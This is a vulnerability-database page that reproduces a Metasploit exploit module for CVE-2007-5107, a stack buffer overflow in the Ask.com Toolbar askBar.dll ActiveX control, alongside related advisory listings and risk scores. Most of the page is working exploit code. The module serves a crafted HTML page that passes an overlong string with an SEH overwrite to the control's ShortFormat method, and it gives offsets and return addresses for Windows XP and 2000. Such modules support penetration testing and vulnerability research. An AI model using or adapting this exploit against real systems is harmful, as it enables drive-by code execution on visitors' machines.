Ask.com Toolbar - 'askBar.dll' ActiveX Control Buffer Overflow (Metasploit)

🗓️ 09 May 2010 00:00:00Reported by MetasploitType

Ask.com Toolbar askBar.dll ActiveX Control Buffer Overflo

Reporter	Title	Published	Views	Family All 11
Tenable Nessus	Ask.com Toolbar AskJeevesToolBar.SettingsPlugin.1 ActiveX (askBar.dll) ShortFormat Property Arbitrary Code Execution	13 Feb 200800:00	–	nessus
Circl	CVE-2007-5107	9 May 201000:00	–	circl
Check Point Advisories	Ask.com Toolbar askBar.dll ActiveX Control Buffer Overflow (CVE-2007-5107)	27 Dec 201100:00	–	checkpoint_advisories
CVE	CVE-2007-5107	26 Sep 200723:00	–	cve
Cvelist	CVE-2007-5107	26 Sep 200723:00	–	cvelist
Cvelist	CVE-2007-5108	26 Sep 200723:00	–	cvelist
Metasploit	Ask.com Toolbar askBar.dll ActiveX Control Buffer Overflow	25 Sep 200702:02	–	metasploit
NVD	CVE-2007-5107	26 Sep 200723:17	–	nvd
Packet Storm	Ask.com Toolbar askBar.dll ActiveX Control Buffer Overflow	26 Nov 200900:00	–	packetstorm
Prion	Stack overflow	26 Sep 200723:17	–	prion

##
# $Id: ask_shortformat.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Ask.com Toolbar askBar.dll ActiveX Control Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in Ask.com Toolbar 4.0.2.53.
				An attacker may be able to excute arbitrary code by sending an overly
				long string to the "ShortFormat()" method in askbar.dll.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'MC' ],
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					[ 'CVE', '2007-5107' ],
					[ 'OSVDB', '37735' ],
					[ 'URL', 'http://wslabi.com/wabisabilabi/showBidInfo.do?code=ZD-00000148' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'         => 800,
					'BadChars'      => "\x00\x09\x0a\x0d'\\",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows XP SP0/SP1 Pro English',     { 'Offset' => 2876, 'Ret' => 0x71aa32ad } ],
					[ 'Windows 2000 Pro English ALL',       { 'Offset' => 1716, 'Ret' => 0x75022ac4 } ],
				],
			'DisclosureDate' => 'Sep 24 2007',
			'DefaultTarget'  => 0))
	end

	def autofilter
			false
	end

	def check_dependencies
			use_zlib
	end

	def on_request_uri(cli, request)
		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		# Randomize some things
		vname	= rand_text_alpha(rand(100) + 1)
		strname	= rand_text_alpha(rand(100) + 1)

		# Set the exploit buffer
		filler = rand_text_alpha(target['Offset'])
		seh = generate_seh_payload(target.ret)
		sploit = filler + seh + rand_text_alpha(payload.encoded.length)

		# Build out the message
		content = %Q|<html>
<object classid='clsid:5A074B2B-F830-49DE-A31B-5BB9D7F6B407' id='#{vname}'></object>
<script language='javascript'>
#{strname} = new String('#{sploit}');
#{vname}.ShortFormat = #{strname}
</script>
</html>
|

		print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

		# Transmit the response to the client
		send_response_html(cli, content)

		# Handle the payload
		handler(cli)
	end

end

09 May 2010 00:00Current

7High risk

Vulners AI Score7

CVSS 29.3

EPSS0.78055

Ask.com Toolbar - &#039;askBar.dll&#039; ActiveX Control Buffer Overflow (Metasploit)

Ask.com Toolbar - 'askBar.dll' ActiveX Control Buffer Overflow (Metasploit)